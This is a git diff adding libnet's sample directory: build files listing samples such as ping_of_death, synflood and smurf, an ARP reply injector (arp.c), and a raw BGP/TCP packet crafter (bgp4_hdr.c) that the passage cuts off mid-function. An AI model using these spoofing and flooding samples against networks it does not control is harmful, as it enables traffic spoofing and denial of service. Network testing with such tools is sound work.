--- /dev/null +++ b/libnet/sample/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample diff --git a/libnet/sample/CVS/Root b/libnet/sample/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/Makefile.am b/libnet/sample/Makefile.am new file mode 100644 index 0000000..35e6540 --- /dev/null +++ b/libnet/sample/Makefile.am @@ -0,0 +1,64 @@ +# $Id: Makefile.am,v 1.6 2004/11/09 07:05:07 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +include $(top_srcdir)/Makefile.am.common + +noinst_PROGRAMS = arp cdp dhcp_discover get_addr icmp_timestamp icmp_unreach \ + ieee isl ntp ospf_hello ospf_lsa ping_of_death stp synflood \ + tcp1 tcp2 udp1 udp2 synflood6 icmp6_echoreq icmp_echo_cq \ + smurf dot1x dns rpc_tcp rpc_udp mpls icmp_timeexceed \ + fddi_tcp1 fddi_tcp2 tring_tcp1 tring_tcp2 icmp_redirect \ + bgp4_hdr bgp4_open bgp4_update bgp4_notification gre \ + synflood6_frag tftp ip_link ip_raw sebek hsrp + +arp_SOURCES = arp.c +cdp_SOURCES = cdp.c +dot1x_SOURCES = dot1x.c +dhcp_discover_SOURCES = dhcp_discover.c +dns_SOURCES = dns.c +fddi_tcp1_SOURCES = fddi_tcp1.c +fddi_tcp2_SOURCES = fddi_tcp2.c +tring_tcp1_SOURCES = tring_tcp1.c +tring_tcp2_SOURCES = tring_tcp2.c +get_addr_SOURCES = get_addr.c +icmp_echo_cq_SOURCES = icmp_echo_cq.c +icmp_redirect_SOURCES = icmp_redirect.c +icmp_timestamp_SOURCES = icmp_timestamp.c +icmp_timeexceed_SOURCES = icmp_timeexceed.c +icmp_unreach_SOURCES = icmp_unreach.c +ieee_SOURCES = ieee.c +isl_SOURCES = isl.c +ntp_SOURCES = ntp.c +ospf_hello_SOURCES = ospf_hello.c +ospf_lsa_SOURCES = ospf_lsa.c +ping_of_death_SOURCES = ping_of_death.c +mpls_SOURCES = mpls.c +rpc_tcp_SOURCES = rpc_tcp.c +rpc_udp_SOURCES = rpc_udp.c +stp_SOURCES = stp.c +synflood_SOURCES = synflood.c +tcp1_SOURCES = tcp1.c +tcp2_SOURCES = tcp2.c +tftp_SOURCES = tftp.c +udp1_SOURCES = udp1.c +udp2_SOURCES = udp2.c +icmp6_echoreq_SOURCES = icmp6_echoreq.c +smurf_SOURCES = smurf.c +synflood6_SOURCES = synflood6.c +synflood6_frag_SOURCES = synflood6_frag.c +bgp4_hdr_SOURCES = bgp4_hdr.c +bgp4_open_SOURCES = bgp4_open.c +bgp4_update_SOURCES = bgp4_update.c +bgp4_notification_SOURCES = bgp4_notification.c +gre_SOURCES = gre.c +ip_raw_SOURCES = ip_raw.c +ip_link_SOURCES = ip_link.c +sebek_SOURCES = sebek.c +hsrp_SOURCES = hsrp.c + +LDADD = $(top_srcdir)/src/libnet.la diff --git a/libnet/sample/Makefile.in b/libnet/sample/Makefile.in new file mode 100644 index 0000000..a4ab7d4 --- /dev/null +++ b/libnet/sample/Makefile.in @@ -0,0 +1,829 @@ +# Makefile.in generated by automake 1.9.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, +# 2003, 2004 Free Software Foundation, Inc. +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# $Id: Makefile.am,v 1.6 2004/11/09 07:05:07 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# +# Process this file with automake to produce a Makefile.in script. + +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# + +SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) $(hsrp_SOURCES) $(icmp6_echoreq_SOURCES) $(icmp_echo_cq_SOURCES) $(icmp_redirect_SOURCES) $(icmp_timeexceed_SOURCES) $(icmp_timestamp_SOURCES) $(icmp_unreach_SOURCES) $(ieee_SOURCES) $(ip_link_SOURCES) $(ip_raw_SOURCES) $(isl_SOURCES) $(mpls_SOURCES) $(ntp_SOURCES) $(ospf_hello_SOURCES) $(ospf_lsa_SOURCES) $(ping_of_death_SOURCES) $(rpc_tcp_SOURCES) $(rpc_udp_SOURCES) $(sebek_SOURCES) $(smurf_SOURCES) $(stp_SOURCES) $(synflood_SOURCES) $(synflood6_SOURCES) $(synflood6_frag_SOURCES) $(tcp1_SOURCES) $(tcp2_SOURCES) $(tftp_SOURCES) $(tring_tcp1_SOURCES) $(tring_tcp2_SOURCES) $(udp1_SOURCES) $(udp2_SOURCES) + +srcdir = @srcdir@ +top_srcdir = @top_srcdir@ +VPATH = @srcdir@ +pkgdatadir = $(datadir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +top_builddir = .. +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +INSTALL = @INSTALL@ +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +target_triplet = @target@ +DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in \ + $(top_srcdir)/Makefile.am.common +noinst_PROGRAMS = arp$(EXEEXT) cdp$(EXEEXT) dhcp_discover$(EXEEXT) \ + get_addr$(EXEEXT) icmp_timestamp$(EXEEXT) \ + icmp_unreach$(EXEEXT) ieee$(EXEEXT) isl$(EXEEXT) ntp$(EXEEXT) \ + ospf_hello$(EXEEXT) ospf_lsa$(EXEEXT) ping_of_death$(EXEEXT) \ + stp$(EXEEXT) synflood$(EXEEXT) tcp1$(EXEEXT) tcp2$(EXEEXT) \ + udp1$(EXEEXT) udp2$(EXEEXT) synflood6$(EXEEXT) \ + icmp6_echoreq$(EXEEXT) icmp_echo_cq$(EXEEXT) smurf$(EXEEXT) \ + dot1x$(EXEEXT) dns$(EXEEXT) rpc_tcp$(EXEEXT) rpc_udp$(EXEEXT) \ + mpls$(EXEEXT) icmp_timeexceed$(EXEEXT) fddi_tcp1$(EXEEXT) \ + fddi_tcp2$(EXEEXT) tring_tcp1$(EXEEXT) tring_tcp2$(EXEEXT) \ + icmp_redirect$(EXEEXT) bgp4_hdr$(EXEEXT) bgp4_open$(EXEEXT) \ + bgp4_update$(EXEEXT) bgp4_notification$(EXEEXT) gre$(EXEEXT) \ + synflood6_frag$(EXEEXT) tftp$(EXEEXT) ip_link$(EXEEXT) \ + ip_raw$(EXEEXT) sebek$(EXEEXT) hsrp$(EXEEXT) +subdir = sample +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ + $(top_srcdir)/configure.in +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs +CONFIG_HEADER = $(top_builddir)/include/config.h +CONFIG_CLEAN_FILES = +PROGRAMS = $(noinst_PROGRAMS) +am_arp_OBJECTS = arp.$(OBJEXT) +arp_OBJECTS = $(am_arp_OBJECTS) +arp_LDADD = $(LDADD) +arp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_bgp4_hdr_OBJECTS = bgp4_hdr.$(OBJEXT) +bgp4_hdr_OBJECTS = $(am_bgp4_hdr_OBJECTS) +bgp4_hdr_LDADD = $(LDADD) +bgp4_hdr_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_bgp4_notification_OBJECTS = bgp4_notification.$(OBJEXT) +bgp4_notification_OBJECTS = $(am_bgp4_notification_OBJECTS) +bgp4_notification_LDADD = $(LDADD) +bgp4_notification_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_bgp4_open_OBJECTS = bgp4_open.$(OBJEXT) +bgp4_open_OBJECTS = $(am_bgp4_open_OBJECTS) +bgp4_open_LDADD = $(LDADD) +bgp4_open_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_bgp4_update_OBJECTS = bgp4_update.$(OBJEXT) +bgp4_update_OBJECTS = $(am_bgp4_update_OBJECTS) +bgp4_update_LDADD = $(LDADD) +bgp4_update_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_cdp_OBJECTS = cdp.$(OBJEXT) +cdp_OBJECTS = $(am_cdp_OBJECTS) +cdp_LDADD = $(LDADD) +cdp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_dhcp_discover_OBJECTS = dhcp_discover.$(OBJEXT) +dhcp_discover_OBJECTS = $(am_dhcp_discover_OBJECTS) +dhcp_discover_LDADD = $(LDADD) +dhcp_discover_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_dns_OBJECTS = dns.$(OBJEXT) +dns_OBJECTS = $(am_dns_OBJECTS) +dns_LDADD = $(LDADD) +dns_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_dot1x_OBJECTS = dot1x.$(OBJEXT) +dot1x_OBJECTS = $(am_dot1x_OBJECTS) +dot1x_LDADD = $(LDADD) +dot1x_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_fddi_tcp1_OBJECTS = fddi_tcp1.$(OBJEXT) +fddi_tcp1_OBJECTS = $(am_fddi_tcp1_OBJECTS) +fddi_tcp1_LDADD = $(LDADD) +fddi_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_fddi_tcp2_OBJECTS = fddi_tcp2.$(OBJEXT) +fddi_tcp2_OBJECTS = $(am_fddi_tcp2_OBJECTS) +fddi_tcp2_LDADD = $(LDADD) +fddi_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_get_addr_OBJECTS = get_addr.$(OBJEXT) +get_addr_OBJECTS = $(am_get_addr_OBJECTS) +get_addr_LDADD = $(LDADD) +get_addr_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_gre_OBJECTS = gre.$(OBJEXT) +gre_OBJECTS = $(am_gre_OBJECTS) +gre_LDADD = $(LDADD) +gre_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_hsrp_OBJECTS = hsrp.$(OBJEXT) +hsrp_OBJECTS = $(am_hsrp_OBJECTS) +hsrp_LDADD = $(LDADD) +hsrp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp6_echoreq_OBJECTS = icmp6_echoreq.$(OBJEXT) +icmp6_echoreq_OBJECTS = $(am_icmp6_echoreq_OBJECTS) +icmp6_echoreq_LDADD = $(LDADD) +icmp6_echoreq_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp_echo_cq_OBJECTS = icmp_echo_cq.$(OBJEXT) +icmp_echo_cq_OBJECTS = $(am_icmp_echo_cq_OBJECTS) +icmp_echo_cq_LDADD = $(LDADD) +icmp_echo_cq_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp_redirect_OBJECTS = icmp_redirect.$(OBJEXT) +icmp_redirect_OBJECTS = $(am_icmp_redirect_OBJECTS) +icmp_redirect_LDADD = $(LDADD) +icmp_redirect_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp_timeexceed_OBJECTS = icmp_timeexceed.$(OBJEXT) +icmp_timeexceed_OBJECTS = $(am_icmp_timeexceed_OBJECTS) +icmp_timeexceed_LDADD = $(LDADD) +icmp_timeexceed_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp_timestamp_OBJECTS = icmp_timestamp.$(OBJEXT) +icmp_timestamp_OBJECTS = $(am_icmp_timestamp_OBJECTS) +icmp_timestamp_LDADD = $(LDADD) +icmp_timestamp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_icmp_unreach_OBJECTS = icmp_unreach.$(OBJEXT) +icmp_unreach_OBJECTS = $(am_icmp_unreach_OBJECTS) +icmp_unreach_LDADD = $(LDADD) +icmp_unreach_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ieee_OBJECTS = ieee.$(OBJEXT) +ieee_OBJECTS = $(am_ieee_OBJECTS) +ieee_LDADD = $(LDADD) +ieee_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ip_link_OBJECTS = ip_link.$(OBJEXT) +ip_link_OBJECTS = $(am_ip_link_OBJECTS) +ip_link_LDADD = $(LDADD) +ip_link_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ip_raw_OBJECTS = ip_raw.$(OBJEXT) +ip_raw_OBJECTS = $(am_ip_raw_OBJECTS) +ip_raw_LDADD = $(LDADD) +ip_raw_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_isl_OBJECTS = isl.$(OBJEXT) +isl_OBJECTS = $(am_isl_OBJECTS) +isl_LDADD = $(LDADD) +isl_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_mpls_OBJECTS = mpls.$(OBJEXT) +mpls_OBJECTS = $(am_mpls_OBJECTS) +mpls_LDADD = $(LDADD) +mpls_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ntp_OBJECTS = ntp.$(OBJEXT) +ntp_OBJECTS = $(am_ntp_OBJECTS) +ntp_LDADD = $(LDADD) +ntp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ospf_hello_OBJECTS = ospf_hello.$(OBJEXT) +ospf_hello_OBJECTS = $(am_ospf_hello_OBJECTS) +ospf_hello_LDADD = $(LDADD) +ospf_hello_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ospf_lsa_OBJECTS = ospf_lsa.$(OBJEXT) +ospf_lsa_OBJECTS = $(am_ospf_lsa_OBJECTS) +ospf_lsa_LDADD = $(LDADD) +ospf_lsa_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_ping_of_death_OBJECTS = ping_of_death.$(OBJEXT) +ping_of_death_OBJECTS = $(am_ping_of_death_OBJECTS) +ping_of_death_LDADD = $(LDADD) +ping_of_death_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_rpc_tcp_OBJECTS = rpc_tcp.$(OBJEXT) +rpc_tcp_OBJECTS = $(am_rpc_tcp_OBJECTS) +rpc_tcp_LDADD = $(LDADD) +rpc_tcp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_rpc_udp_OBJECTS = rpc_udp.$(OBJEXT) +rpc_udp_OBJECTS = $(am_rpc_udp_OBJECTS) +rpc_udp_LDADD = $(LDADD) +rpc_udp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_sebek_OBJECTS = sebek.$(OBJEXT) +sebek_OBJECTS = $(am_sebek_OBJECTS) +sebek_LDADD = $(LDADD) +sebek_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_smurf_OBJECTS = smurf.$(OBJEXT) +smurf_OBJECTS = $(am_smurf_OBJECTS) +smurf_LDADD = $(LDADD) +smurf_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_stp_OBJECTS = stp.$(OBJEXT) +stp_OBJECTS = $(am_stp_OBJECTS) +stp_LDADD = $(LDADD) +stp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_synflood_OBJECTS = synflood.$(OBJEXT) +synflood_OBJECTS = $(am_synflood_OBJECTS) +synflood_LDADD = $(LDADD) +synflood_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_synflood6_OBJECTS = synflood6.$(OBJEXT) +synflood6_OBJECTS = $(am_synflood6_OBJECTS) +synflood6_LDADD = $(LDADD) +synflood6_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_synflood6_frag_OBJECTS = synflood6_frag.$(OBJEXT) +synflood6_frag_OBJECTS = $(am_synflood6_frag_OBJECTS) +synflood6_frag_LDADD = $(LDADD) +synflood6_frag_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_tcp1_OBJECTS = tcp1.$(OBJEXT) +tcp1_OBJECTS = $(am_tcp1_OBJECTS) +tcp1_LDADD = $(LDADD) +tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_tcp2_OBJECTS = tcp2.$(OBJEXT) +tcp2_OBJECTS = $(am_tcp2_OBJECTS) +tcp2_LDADD = $(LDADD) +tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_tftp_OBJECTS = tftp.$(OBJEXT) +tftp_OBJECTS = $(am_tftp_OBJECTS) +tftp_LDADD = $(LDADD) +tftp_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_tring_tcp1_OBJECTS = tring_tcp1.$(OBJEXT) +tring_tcp1_OBJECTS = $(am_tring_tcp1_OBJECTS) +tring_tcp1_LDADD = $(LDADD) +tring_tcp1_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_tring_tcp2_OBJECTS = tring_tcp2.$(OBJEXT) +tring_tcp2_OBJECTS = $(am_tring_tcp2_OBJECTS) +tring_tcp2_LDADD = $(LDADD) +tring_tcp2_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_udp1_OBJECTS = udp1.$(OBJEXT) +udp1_OBJECTS = $(am_udp1_OBJECTS) +udp1_LDADD = $(LDADD) +udp1_DEPENDENCIES = $(top_srcdir)/src/libnet.la +am_udp2_OBJECTS = udp2.$(OBJEXT) +udp2_OBJECTS = $(am_udp2_OBJECTS) +udp2_LDADD = $(LDADD) +udp2_DEPENDENCIES = $(top_srcdir)/src/libnet.la +DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/include +depcomp = +am__depfiles_maybe = +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +LTCOMPILE = $(LIBTOOL) --mode=compile --tag=CC $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +CCLD = $(CC) +LINK = $(LIBTOOL) --mode=link --tag=CC $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +SOURCES = $(arp_SOURCES) $(bgp4_hdr_SOURCES) \ + $(bgp4_notification_SOURCES) $(bgp4_open_SOURCES) \ + $(bgp4_update_SOURCES) $(cdp_SOURCES) $(dhcp_discover_SOURCES) \ + $(dns_SOURCES) $(dot1x_SOURCES) $(fddi_tcp1_SOURCES) \ + $(fddi_tcp2_SOURCES) $(get_addr_SOURCES) $(gre_SOURCES) \ + $(hsrp_SOURCES) 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maintainer-clean-am + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: uninstall-info-am + +.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \ + clean-libtool clean-noinstPROGRAMS ctags distclean \ + distclean-compile distclean-generic distclean-libtool \ + distclean-tags distdir dvi dvi-am html html-am info info-am \ + install install-am install-data install-data-am install-exec \ + install-exec-am install-info install-info-am install-man \ + install-strip installcheck installcheck-am installdirs \ + maintainer-clean maintainer-clean-generic mostlyclean \ + mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ + pdf pdf-am ps ps-am tags uninstall uninstall-am \ + uninstall-info-am + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/libnet/sample/arp.c b/libnet/sample/arp.c new file mode 100644 index 0000000..f1c95b9 --- /dev/null +++ b/libnet/sample/arp.c @@ -0,0 +1,136 @@ +/* + * $Id: arp.c,v 1.7 2004/11/09 07:05:07 mike Exp $ + * + * libnet 1.1 + * Build an ARP packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#if ((_WIN32) && !(__CYGWIN__)) +#include "../include/win32/config.h" +#else +#include "../include/config.h" +#endif +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_int32_t i; + libnet_t *l; + libnet_ptag_t t; + char *device = NULL; + u_int8_t *packet; + u_int32_t packet_s; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n"); + + if (argc > 1) + { + device = argv[1]; + } + + l = libnet_init( + LIBNET_LINK_ADV, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "%s", errbuf); + exit(EXIT_FAILURE); + } + else + + i = libnet_get_ipaddr4(l); + + t = libnet_build_arp( + ARPHRD_ETHER, /* hardware addr */ + ETHERTYPE_IP, /* protocol addr */ + 6, /* hardware addr size */ + 4, /* protocol addr size */ + ARPOP_REPLY, /* operation type */ + enet_src, /* sender hardware addr */ + (u_int8_t *)&i, /* sender protocol addr */ + enet_dst, /* target hardware addr */ + (u_int8_t *)&i, /* target protocol addr */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet context */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_ethernet( + enet_dst, /* ethernet destination */ + ETHERTYPE_ARP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + + + if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1) + { + fprintf(stderr, "%s", libnet_geterror(l)); + } + else + { + fprintf(stderr, "packet size: %d\n", packet_s); + libnet_adv_free_packet(l, packet); + } + + c = libnet_write(l); + + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; " + "check the wire.\n", c, libnet_cq_getlabel(l)); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/bgp4_hdr.c b/libnet/sample/bgp4_hdr.c new file mode 100644 index 0000000..707709e --- /dev/null +++ b/libnet/sample/bgp4_hdr.c @@ -0,0 +1,222 @@ +/* + * + * libnet 1.1 + * Build a BGP4 header with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * + * Example: + * + * Sending of a BGP KEEPALIVE + * + * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -t 4 + * libnet 1.1 packet shaping: BGP4 hdr + payload[raw] + * Wrote 59 byte TCP packet; check the wire. + * + * 13:55:53.811579 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] + * 16843009:16843028(19) win 32767: BGP (ttl 64, id 242, len 59) + * 0x0000 4500 003b 00f2 0000 4006 73c6 0101 0101 E..;....@.s..... + * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... + * 0x0020 5002 7fff b090 0000 0101 0101 0101 0101 P............... + * 0x0030 0101 0101 0101 0101 0013 04 ........... + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + u_long src_ip, dst_ip, length; + libnet_ptag_t t = 0; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_char *payload = NULL; + u_long payload_s = 0; + u_char marker[LIBNET_BGP4_MARKER_SIZE]; + u_char type; + + printf("libnet 1.1 packet shaping: BGP4 hdr + payload[raw]\n"); + + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); + type = 0; + + while ((c = getopt(argc, argv, "d:s:t:m:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 's': + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + + case 'm': + memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); + break; + + case 't': + type = atoi(optarg); + break; + + case 'p': + payload = optarg; + payload_s = strlen(optarg); + break; + + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + + length = LIBNET_BGP4_HEADER_H + payload_s; + t = libnet_build_bgp4_header( + marker, /* marker */ + length, /* length */ + type, /* message type */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_TCP_H; + t = libnet_build_tcp( + 0x6666, /* source port */ + 179, /* destination port */ + 0x01010101, /* sequence number */ + 0x02020202, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + length, /* TCP packet size */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + length+=LIBNET_IPV4_H; + t = libnet_build_ipv4( + length, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 